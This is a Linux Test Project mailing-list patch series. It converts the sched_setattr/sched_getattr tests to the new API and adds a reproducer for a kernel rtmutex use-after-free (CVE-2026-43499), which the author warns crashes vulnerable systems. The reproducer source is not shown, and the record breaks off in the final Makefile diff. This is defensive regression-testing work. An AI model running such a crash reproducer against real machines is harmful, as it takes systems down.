* [LTP] [PATCH v8 0/5] Reproducer for ghostlock
@ 2026-09-04 7:41 Andrea Cervesato
2026-09-04 7:41 ` [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API Andrea Cervesato
` (4 more replies)
0 siblings, 5 replies; 14+ messages in thread
From: Andrea Cervesato @ 2026-09-04 7:41 UTC (permalink / raw)
To: Linux Test Project
Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.
Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v8:
- remove PR_SET_MM_MAP_SIZE from commit message
- remove redundant assignment in ghostlock
- Link to v7: https://lore.kernel.org/20260903-cve-ghostlock-v7-0-771e99aa3057@suse.com
Changes in v7:
- wrap doc-comment lines in sched_setattr01 to stay under 80 columns
- allocate read_attr via .bufs in sched_getattr01
- keep const in sched_setattr() fallback prototype in lapi/sched.h
- update SAFE_SCHED_SETATTR() commit message to describe test usage and remove forward references
- remove unused PR_SET_MM_MAP_SIZE fallback definition from lapi/prctl.h
- wrap doc-comment lines in ghostlock.c to stay under 80 columns
- format multi-line comment in ghostlock.c spray loop
- add explanation comment for try_sizes[] in ghostlock.c
- check return values of TST_THREAD_STATE_WAIT() in ghostlock.c
- check futex_lock_pi() and futex_unlock_pi() returns, report ENOSYS as TCONF, and abort on errors
- add ENOSYS checks for FUTEX_WAIT_REQUEUE_PI and FUTEX_CMP_REQUEUE_PI in ghostlock.c
- Link to v6: https://lore.kernel.org/20260903-cve-ghostlock-v6-0-a3272bb81e4d@suse.com
Changes in v6:
- drop const from sched_setattr() and safe_sched_setattr() prototypes to match glibc 2.41+
- add kernel-doc comment for SAFE_SCHED_SETATTR()
- fix struct prctl_mm_map fallback guard in lapi/prctl.h
- validate futex_wait_requeue_pi() outcome before waking spray checkpoint
- sort ghostlock entry in testcases/cve/.gitignore
- Link to v5: https://lore.kernel.org/20260902-cve-ghostlock-v5-0-569b9eb37941@suse.com
Changes in v5:
- reduced synchronization checkpoints from 5 to 3
- introduced and used SAFE_SCHED_SETATTR() in lapi/sched.h
- dropped unused PR_SET_MM_MAP_SIZE probe in setup()
- fixed duplicated -pthread entry in Makefile
- fixed CVE numerical ordering in runtest/cve
- Link to v4: https://lore.kernel.org/20260826-cve-ghostlock-v4-0-52ec94d6635f@suse.com
Changes in v4:
- handle runtime inside the test
- increase futext wait so we don't TBROK before runtime
- comment prctl() syscall
- move static vars out of the run function
- Link to v3: https://lore.kernel.org/20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com
Changes in v3:
- improve sync mechanism
- fix lapi imports
- Link to v2: https://lore.kernel.org/20260803-cve-ghostlock-v2-0-b60588853140@suse.com
Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/20260801-cve-ghostlock-v1-0-178f698f9702@suse.com
To: Linux Test Project <ltp@lists.linux.it>
---
Andrea Cervesato (5):
sched_setattr01: Convert to new API
sched_getattr01: Convert to new API
lapi/sched: add SAFE_SCHED_SETATTR()
lapi/prctl: add more fallback definitions
cve: add CVE-2026-43499 reproducer
configure.ac | 2 +
include/lapi/prctl.h | 24 ++
include/lapi/sched.h | 29 +++
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/Makefile | 2 +-
testcases/cve/ghostlock.c | 277 +++++++++++++++++++++
testcases/kernel/syscalls/sched_getattr/Makefile | 1 -
.../syscalls/sched_getattr/sched_getattr01.c | 134 ++++------
testcases/kernel/syscalls/sched_setattr/Makefile | 1 -
.../syscalls/sched_setattr/sched_setattr01.c | 231 ++++++++++-------
11 files changed, 529 insertions(+), 174 deletions(-)
---
base-commit: 12724413534a6d4160ff9694ba6f09daa4ccb6bd
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6
Best regards,
--
Andrea Cervesato <andrea.cervesato@suse.com>
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API
2026-09-04 7:41 [LTP] [PATCH v8 0/5] Reproducer for ghostlock Andrea Cervesato
@ 2026-09-04 7:41 ` Andrea Cervesato
2026-09-04 8:20 ` [LTP] " linuxtestproject.agent
2026-09-10 10:40 ` [LTP] [PATCH v8 1/5] " Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 2/5] sched_getattr01: " Andrea Cervesato
` (3 subsequent siblings)
4 siblings, 2 replies; 14+ messages in thread
From: Andrea Cervesato @ 2026-09-04 7:41 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Rewrite the test to use the modern LTP API (tst_test.h) with a
struct tcase array and TST_EXP_* macros.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
testcases/kernel/syscalls/sched_setattr/Makefile | 1 -
.../syscalls/sched_setattr/sched_setattr01.c | 231 +++++++++++++--------
2 files changed, 142 insertions(+), 90 deletions(-)
diff --git a/testcases/kernel/syscalls/sched_setattr/Makefile b/testcases/kernel/syscalls/sched_setattr/Makefile
index 8fd2bd6f2..81f9dc164 100644
--- a/testcases/kernel/syscalls/sched_setattr/Makefile
+++ b/testcases/kernel/syscalls/sched_setattr/Makefile
@@ -5,6 +5,5 @@ top_srcdir ?= ../../../..
include $(top_srcdir)/include/mk/testcases.mk
-CFLAGS += -pthread
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index 13380d177..721620850 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -1,134 +1,187 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
*/
- /* Description:
- * Verify that:
- * 1) sched_setattr succeed with correct parameters
- * 2) sched_setattr fails with unused pid
- * 3) sched_setattr fails with invalid address
- * 4) sched_setattr fails with invalid flag
+
+/*\
+ * Verify that :manpage:`sched_setattr(2)`:
+ *
+ * - succeeds with correct parameters and attributes are verified via
+ * :manpage:`sched_getattr(2)`
+ * - fails with ESRCH when pid is unused
+ * - fails with EINVAL when pid is negative
+ * - fails with EINVAL when sched_attr address is NULL
+ * - fails with EFAULT when sched_attr address is invalid
+ * - fails with E2BIG when sched_attr size is smaller than version 0
+ * - fails with EINVAL when flags are invalid
+ * - fails with EINVAL when sched_policy is invalid
+ * - fails with EINVAL when runtime exceeds deadline
+ *
+ * Root is required (:c:macro:`CAP_SYS_NICE`) to configure and validate the
+ * :c:macro:`SCHED_DEADLINE` policy.
+ *
+ * The test relies on the LTP harness process isolation and resets the
+ * scheduling policy to :c:macro:`SCHED_OTHER` after testing to prevent
+ * :c:macro:`SCHED_DEADLINE` constraints from leaking into subsequent
+ * test cases or iterations.
*/
#define _GNU_SOURCE
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <linux/unistd.h>
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <sys/syscall.h>
-#include <pthread.h>
+
#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
#include "lapi/sched.h"
-char *TCID = "sched_setattr01";
-
#define RUNTIME_VAL 10000000
#define PERIOD_VAL 30000000
#define DEADLINE_VAL 30000000
-static pid_t pid;
static pid_t unused_pid;
+static pid_t invalid_pid = -1;
+static void *bad_addr;
static struct sched_attr attr = {
.size = sizeof(struct sched_attr),
- .sched_flags = 0,
- .sched_nice = 0,
- .sched_priority = 0,
-
.sched_policy = SCHED_DEADLINE,
.sched_runtime = RUNTIME_VAL,
.sched_period = PERIOD_VAL,
.sched_deadline = DEADLINE_VAL,
};
-static struct test_case {
+static struct sched_attr attr_small = {
+ .size = SCHED_ATTR_SIZE_VER0 - 1,
+};
+
+static struct sched_attr attr_invalid_policy = {
+ .size = sizeof(struct sched_attr),
+ .sched_policy = 999,
+};
+
+static struct sched_attr attr_bad_dl = {
+ .size = sizeof(struct sched_attr),
+ .sched_policy = SCHED_DEADLINE,
+ .sched_runtime = PERIOD_VAL,
+ .sched_deadline = RUNTIME_VAL,
+ .sched_period = PERIOD_VAL,
+};
+
+static struct tcase {
pid_t *pid;
- struct sched_attr *a;
+ struct sched_attr *attr;
+ int bad_attr;
unsigned int flags;
- int exp_return;
int exp_errno;
-} test_cases[] = {
- {&pid, &attr, 0, 0, 0},
- {&unused_pid, &attr, 0, -1, ESRCH},
- {&pid, NULL, 0, -1, EINVAL},
- {&pid, &attr, 1000, -1, EINVAL}
+ const char *desc;
+} tcases[] = {
+ {
+ .attr = &attr,
+ .desc = "sched_setattr() with valid parameters",
+ },
+ {
+ .pid = &unused_pid,
+ .attr = &attr,
+ .exp_errno = ESRCH,
+ .desc = "sched_setattr() with unused pid",
+ },
+ {
+ .pid = &invalid_pid,
+ .attr = &attr,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with negative pid",
+ },
+ {
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with NULL sched_attr",
+ },
+ {
+ .bad_attr = 1,
+ .exp_errno = EFAULT,
+ .desc = "sched_setattr() with invalid sched_attr address",
+ },
+ {
+ .attr = &attr_small,
+ .exp_errno = E2BIG,
+ .desc = "sched_setattr() with size smaller than version 0",
+ },
+ {
+ .attr = &attr,
+ .flags = 1000,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with invalid flags",
+ },
+ {
+ .attr = &attr_invalid_policy,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with invalid sched_policy",
+ },
+ {
+ .attr = &attr_bad_dl,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with runtime exceeding deadline",
+ },
};
-static void setup(void);
-static void sched_setattr_verify(const struct test_case *test);
-
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-void *do_test(void *data LTP_ATTRIBUTE_UNUSED)
+static void reset_sched(void)
{
- int i;
-
- for (i = 0; i < TST_TOTAL; i++)
- sched_setattr_verify(&test_cases[i]);
+ struct sched_attr normal = {
+ .size = sizeof(normal),
+ .sched_policy = SCHED_OTHER,
+ };
- return NULL;
+ sched_setattr(0, &normal, 0);
}
-static void sched_setattr_verify(const struct test_case *test)
+static void verify_sched_setattr(unsigned int n)
{
- TEST(sched_setattr(*(test->pid), test->a, test->flags));
-
- if (TEST_RETURN != test->exp_return) {
- tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u) "
- "returned: %ld expected: %d",
- *(test->pid), test->flags,
- TEST_RETURN, test->exp_return);
+ struct tcase *tc = &tcases[n];
+ pid_t pid = tc->pid ? *tc->pid : 0;
+ struct sched_attr *target_attr = tc->bad_attr ? bad_addr : tc->attr;
+ struct sched_attr read_attr = { .size = sizeof(read_attr) };
+
+ /*
+ * The kernel writes sizeof(struct sched_attr) back to uattr->size
+ * on the -E2BIG error path, clobbering our test input. Refresh
+ * before each call so re-runs (e.g. -i N) still exercise the
+ * intended size.
+ */
+ attr_small.size = SCHED_ATTR_SIZE_VER0 - 1;
+
+ if (tc->exp_errno) {
+ TST_EXP_FAIL(sched_setattr(pid, target_attr, tc->flags),
+ tc->exp_errno, "%s", tc->desc);
return;
}
- if (TEST_ERRNO == test->exp_errno) {
- tst_resm(TPASS | TTERRNO,
- "sched_setattr() works as expected");
+ TST_EXP_PASS(sched_setattr(pid, target_attr, tc->flags),
+ "%s", tc->desc);
+ if (!TST_PASS)
return;
- }
-
- tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u): "
- "expected: %d - %s",
- *(test->pid), test->flags,
- test->exp_errno, tst_strerrno(test->exp_errno));
-}
-
-int main(int argc, char **argv)
-{
- pthread_t thread;
- int lc;
- tst_parse_opts(argc, argv, NULL, NULL);
-
- setup();
-
- for (lc = 0; TEST_LOOPING(lc); lc++) {
- pthread_create(&thread, NULL, do_test, NULL);
- pthread_join(thread, NULL);
+ if (sched_getattr(pid, &read_attr, sizeof(read_attr), 0) == -1) {
+ tst_res(TFAIL | TERRNO, "sched_getattr() failed");
+ return;
}
- tst_exit();
+ TST_EXP_EQ_LU(read_attr.sched_policy, SCHED_DEADLINE);
+ TST_EXP_EQ_LU(read_attr.sched_runtime, RUNTIME_VAL);
+ TST_EXP_EQ_LU(read_attr.sched_deadline, DEADLINE_VAL);
+ TST_EXP_EQ_LU(read_attr.sched_period, PERIOD_VAL);
+
+ reset_sched();
}
-void setup(void)
+static void setup(void)
{
- unused_pid = tst_get_unused_pid(setup);
-
- tst_require_root();
-
- TEST_PAUSE;
+ unused_pid = tst_get_unused_pid();
+ bad_addr = tst_get_bad_addr(NULL);
}
+
+static struct tst_test test = {
+ .test = verify_sched_setattr,
+ .tcnt = ARRAY_SIZE(tcases),
+ .setup = setup,
+ .cleanup = reset_sched,
+ .needs_root = 1,
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 14+ messages in thread
* [LTP] [PATCH v8 2/5] sched_getattr01: Convert to new API
2026-09-04 7:41 [LTP] [PATCH v8 0/5] Reproducer for ghostlock Andrea Cervesato
2026-09-04 7:41 ` [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API Andrea Cervesato
@ 2026-09-04 7:41 ` Andrea Cervesato
2026-09-10 10:48 ` Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
` (2 subsequent siblings)
4 siblings, 1 reply; 14+ messages in thread
From: Andrea Cervesato @ 2026-09-04 7:41 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Rewrite the test to use the modern LTP API (tst_test.h) with
TST_EXP_* macros and cleanup callback.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
testcases/kernel/syscalls/sched_getattr/Makefile | 1 -
.../syscalls/sched_getattr/sched_getattr01.c | 143 ++++++++-------------
2 files changed, 57 insertions(+), 87 deletions(-)
diff --git a/testcases/kernel/syscalls/sched_getattr/Makefile b/testcases/kernel/syscalls/sched_getattr/Makefile
index ea299ff4a..4cef5e763 100644
--- a/testcases/kernel/syscalls/sched_getattr/Makefile
+++ b/testcases/kernel/syscalls/sched_getattr/Makefile
@@ -5,6 +5,5 @@ top_srcdir ?= ../../../..
include $(top_srcdir)/include/mk/testcases.mk
-CFLAGS += -pthread
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 2e06d1809..0edd9e47e 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -1,105 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that :manpage:`sched_getattr(2)` correctly reads back the scheduling
+ * attributes of a task configured with :manpage:`sched_setattr(2)`.
+ *
+ * Root is required (:c:macro:`CAP_SYS_NICE`) to configure the
+ * :c:macro:`SCHED_DEADLINE` policy.
*
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * The test relies on the LTP harness process isolation and resets the
+ * scheduling policy to :c:macro:`SCHED_OTHER` after testing to prevent
+ * :c:macro:`SCHED_DEADLINE` constraints from leaking across test iterations.
*/
#define _GNU_SOURCE
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <linux/unistd.h>
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <sys/syscall.h>
-#include <pthread.h>
-#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
#include "lapi/sched.h"
-char *TCID = "sched_getattr01";
-int TST_TOTAL = 1;
-
#define RUNTIME_VAL 10000000
#define PERIOD_VAL 30000000
#define DEADLINE_VAL 30000000
-void *run_deadline(void *data LTP_ATTRIBUTE_UNUSED)
-{
- struct sched_attr attr, attr_copy;
- int ret;
- unsigned int flags = 0;
- unsigned int size;
-
- attr.size = sizeof(attr);
- attr.sched_flags = 0;
- attr.sched_nice = 0;
- attr.sched_priority = 0;
-
- /* This creates a 10ms/30ms reservation */
- attr.sched_policy = SCHED_DEADLINE;
- attr.sched_runtime = RUNTIME_VAL;
- attr.sched_period = PERIOD_VAL;
- attr.sched_deadline = DEADLINE_VAL;
-
- ret = sched_setattr(0, &attr, flags);
- if (ret < 0)
- tst_brkm(TFAIL | TERRNO, NULL, "sched_setattr() failed");
-
- size = sizeof(attr_copy);
- ret = sched_getattr(0, &attr_copy, size, flags);
- if (ret < 0)
- tst_brkm(TFAIL | TERRNO, NULL, "sched_getattr() failed");
+static struct sched_attr *read_attr;
- int fail = 0;
-
- if (attr_copy.sched_runtime != RUNTIME_VAL) {
- tst_resm(TINFO, "sched_runtime is incorrect (%"PRIu64"),"
- " expected %u", attr.sched_runtime, RUNTIME_VAL);
- fail++;
- }
- if (attr_copy.sched_period != PERIOD_VAL) {
- tst_resm(TINFO, "sched_period is incorrect (%"PRIu64"),"
- " expected %u", attr.sched_period, PERIOD_VAL);
- fail++;
- }
- if (attr_copy.sched_deadline != DEADLINE_VAL) {
- tst_resm(TINFO, "sched_deadline is incorrect (%"PRIu64"),"
- " expected %u", attr.sched_deadline, DEADLINE_VAL);
- fail++;
- }
-
- if (fail)
- tst_resm(TFAIL, "attributes were read back incorrectly");
- else
- tst_resm(TPASS, "attributes were read back correctly");
+static void reset_sched(void)
+{
+ struct sched_attr normal = {
+ .size = sizeof(normal),
+ .sched_policy = SCHED_OTHER,
+ };
- return NULL;
+ sched_setattr(0, &normal, 0);
}
-int main(int argc, char **argv)
+static void run(void)
{
- pthread_t thread;
- int lc;
-
- tst_parse_opts(argc, argv, NULL, NULL);
-
- tst_require_root();
-
- for (lc = 0; TEST_LOOPING(lc); lc++) {
- pthread_create(&thread, NULL, run_deadline, NULL);
- pthread_join(thread, NULL);
- }
-
- tst_exit();
+ struct sched_attr attr = {
+ .size = sizeof(attr),
+ .sched_policy = SCHED_DEADLINE,
+ .sched_runtime = RUNTIME_VAL,
+ .sched_deadline = DEADLINE_VAL,
+ .sched_period = PERIOD_VAL,
+ };
+
+ if (sched_setattr(0, &attr, 0) == -1)
+ tst_brk(TBROK | TERRNO, "sched_setattr() failed");
+
+ memset((void *)read_attr, 0, sizeof(*read_attr));
+
+ TST_EXP_PASS(sched_getattr(0, read_attr, sizeof(*read_attr), 0),
+ "sched_getattr() with valid parameters");
+ if (!TST_PASS)
+ return;
+
+ TST_EXP_EQ_LU(read_attr->sched_policy, SCHED_DEADLINE);
+ TST_EXP_EQ_LU(read_attr->sched_runtime, RUNTIME_VAL);
+ TST_EXP_EQ_LU(read_attr->sched_deadline, DEADLINE_VAL);
+ TST_EXP_EQ_LU(read_attr->sched_period, PERIOD_VAL);
+
+ reset_sched();
}
+
+static struct tst_test test = {
+ .test_all = run,
+ .cleanup = reset_sched,
+ .needs_root = 1,
+ .bufs = (struct tst_buffers []) {
+ {&read_attr, .size = sizeof(*read_attr)},
+ {},
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 14+ messages in thread
* [LTP] [PATCH v8 3/5] lapi/sched: add SAFE_SCHED_SETATTR()
2026-09-04 7:41 [LTP] [PATCH v8 0/5] Reproducer for ghostlock Andrea Cervesato
2026-09-04 7:41 ` [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API Andrea Cervesato
2026-09-04 7:41 ` [LTP] [PATCH v8 2/5] sched_getattr01: " Andrea Cervesato
@ 2026-09-04 7:41 ` Andrea Cervesato
2026-09-10 10:52 ` Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
2026-09-04 7:41 ` [LTP] [PATCH v8 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
4 siblings, 1 reply; 14+ messages in thread
From: Andrea Cervesato @ 2026-09-04 7:41 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add a safe variant of sched_setattr() that breaks the test with TBROK
on failure and use it in sched_setattr01 and sched_getattr01.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
include/lapi/sched.h | 29 ++++++++++++++++++++++
.../syscalls/sched_getattr/sched_getattr01.c | 5 ++--
.../syscalls/sched_setattr/sched_setattr01.c | 2 +-
3 files changed, 32 insertions(+), 4 deletions(-)
diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index 05b322c1c..22cd27e6d 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -169,4 +169,33 @@ static inline int getcpu(unsigned *cpu, unsigned *node)
# define CLONE_INTO_CGROUP 0x200000000ULL
#endif
+static inline int safe_sched_setattr(const char *file, const int lineno,
+ pid_t pid, struct sched_attr *attr,
+ unsigned int flags)
+{
+ int ret;
+
+ ret = sched_setattr(pid, attr, flags);
+
+ if (ret == -1) {
+ tst_brk_(file, lineno, TBROK | TERRNO,
+ "sched_setattr(%i) failed", pid);
+ }
+
+ return ret;
+}
+
+/**
+ * SAFE_SCHED_SETATTR() - Safe wrapper for sched_setattr().
+ * @pid: Target process or thread ID (0 for caller).
+ * @attr: Pointer to a sched_attr structure.
+ * @flags: Flags modifying the scheduling behavior.
+ *
+ * Calls sched_setattr() and breaks the test with TBROK | TERRNO on failure.
+ *
+ * Return: Zero on success.
+ */
+#define SAFE_SCHED_SETATTR(pid, attr, flags)\
+ safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))
+
#endif /* LAPI_SCHED_H__ */
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 0edd9e47e..bd05164ca 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -34,7 +34,7 @@ static void reset_sched(void)
.sched_policy = SCHED_OTHER,
};
- sched_setattr(0, &normal, 0);
+ SAFE_SCHED_SETATTR(0, &normal, 0);
}
static void run(void)
@@ -47,8 +47,7 @@ static void run(void)
.sched_period = PERIOD_VAL,
};
- if (sched_setattr(0, &attr, 0) == -1)
- tst_brk(TBROK | TERRNO, "sched_setattr() failed");
+ SAFE_SCHED_SETATTR(0, &attr, 0);
memset((void *)read_attr, 0, sizeof(*read_attr));
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index 721620850..9d121327b 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -130,7 +130,7 @@ static void reset_sched(void)
.sched_policy = SCHED_OTHER,
};
- sched_setattr(0, &normal, 0);
+ SAFE_SCHED_SETATTR(0, &normal, 0);
}
static void verify_sched_setattr(unsigned int n)
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 14+ messages in thread
* [LTP] [PATCH v8 4/5] lapi/prctl: add more fallback definitions
2026-09-04 7:41 [LTP] [PATCH v8 0/5] Reproducer for ghostlock Andrea Cervesato
` (2 preceding siblings ...)
2026-09-04 7:41 ` [LTP] [PATCH v8 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
@ 2026-09-04 7:41 ` Andrea Cervesato
2026-09-10 10:57 ` Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
4 siblings, 1 reply; 14+ messages in thread
From: Andrea Cervesato @ 2026-09-04 7:41 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add the following fallback definitions:
- PR_SET_MM
- PR_SET_MM_MAP
- struct prctl_mm_map
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
configure.ac | 2 ++
include/lapi/prctl.h | 24 ++++++++++++++++++++++++
2 files changed, 26 insertions(+)
diff --git a/configure.ac b/configure.ac
index 19fc5e1b8..052b83e04 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
AC_CHECK_TYPES([struct sockaddr_vm],,,[
#include <sys/socket.h>
#include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32..3394a8581 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,7 +7,9 @@
#ifndef LAPI_PRCTL_H__
#define LAPI_PRCTL_H__
+#include <stdint.h>
#include <sys/prctl.h>
+#include "config.h"
#ifndef PR_SET_NAME
# define PR_SET_NAME 15
@@ -59,4 +61,26 @@
# define PR_SET_SPECULATION_CTRL 53
#endif
+#ifndef PR_SET_MM
+# define PR_SET_MM 35
+#endif
+
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP 14
+#endif
+
+#ifndef HAVE_STRUCT_PRCTL_MM_MAP
+struct prctl_mm_map {
+ uint64_t start_code, end_code;
+ uint64_t start_data, end_data;
+ uint64_t start_brk, brk;
+ uint64_t start_stack;
+ uint64_t arg_start, arg_end;
+ uint64_t env_start, env_end;
+ uint64_t *auxv;
+ uint32_t auxv_size;
+ uint32_t exe_fd;
+};
+#endif
+
#endif /* LAPI_PRCTL_H__ */
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 14+ messages in thread
* [LTP] [PATCH v8 5/5] cve: add CVE-2026-43499 reproducer
2026-09-04 7:41 [LTP] [PATCH v8 0/5] Reproducer for ghostlock Andrea Cervesato
` (3 preceding siblings ...)
2026-09-04 7:41 ` [LTP] [PATCH v8 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
@ 2026-09-04 7:41 ` Andrea Cervesato
2026-09-10 11:08 ` Cyril Hrubis
4 siblings, 1 reply; 14+ messages in thread
From: Andrea Cervesato @ 2026-09-04 7:41 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add "Ghostlock" reproducer for CVE-2026-43499.
Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/Makefile | 2 +-
testcases/cve/ghostlock.c | 277 ++++++++++++++++++++++++++++++++++++++++++++++
4 files changed, 280 insertions(+), 1 deletion(-)
diff --git a/runtest/cve b/runtest/cve
index b096bacef..894863e33 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -88,6 +88,7 @@ cve-2023-1829 tcindex01
cve-2023-0461 setsockopt10
cve-2023-31248 nft02
cve-2023-52879 fanotify25
+cve-2026-43499 ghostlock
cve-2026-53362 setsockopt11
cve-2026-64600 refluxfs
# Tests below may cause kernel memory leak
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index a167a8743..418d67566 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,5 +16,6 @@ tcindex01
cve-2025-38236
cve-2025-21756
cve-2026-46331
+ghostlock
refluxfs
sctphantom
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 6be4999a3..b4e4178eb 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash: CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
cve-2016-7042: LDLIBS += $(KEYUTILS_LIBS)
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs: CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock refluxfs: CFLAGS += -pthread
cve-2014-0196 cve-2016-7117 cve-2017-2671: LDLIBS += -lrt
ifneq ($(ANDROID),1)
